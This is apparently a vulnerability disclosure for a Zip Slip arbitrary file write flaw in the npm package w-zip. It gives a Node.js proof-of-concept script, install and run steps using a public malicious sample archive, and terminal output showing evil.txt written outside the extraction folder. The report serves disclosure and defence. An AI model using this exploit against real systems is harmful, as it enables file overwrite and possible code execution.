Description

w-zip is vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).

Proof of Concept

// PoC.js

var wz = require('w-zip');

let fpUnzip = './testData/outputZip'
let fpUnzipExtract = fpUnzip + '/extract'
let fpZip1 = fpUnzip + '/zipslip.zip'

async function checkzipslip() {

    //unzip
    console.log('unzip1 before')
    console.log('unzip1', await wz.mZip.unzip(fpZip1, fpUnzipExtract + '/zipslip'))
    console.log('unzip1 after')

}
checkzipslip()
    .catch((err) => {
        console.log(err)
    })

Execute the following commands in the terminal:

Download 
1. npm i w-zip# Install affected module
2. zipslip example file can be found at - https://github.com/snyk/zip-slip-vulnerability/blob/master/archives/zip-slip.zip 
3. node poc.js #  Run the PoC

Output

─[user@parrot]─[~/node_modules/w-zip]
└──╼ $node  poc.js 
unzip1 before
unzip1 done: ./testData/outputZip/extract/zipslip
unzip1 after
┌─[user@parrot]─[~/node_modules/w-zip]
└──╼ $ls /tmp
evil.txt

Check the temp folder for the evil.txt file.

Impact

It may lead to Information Disclosure/DoS/RCE.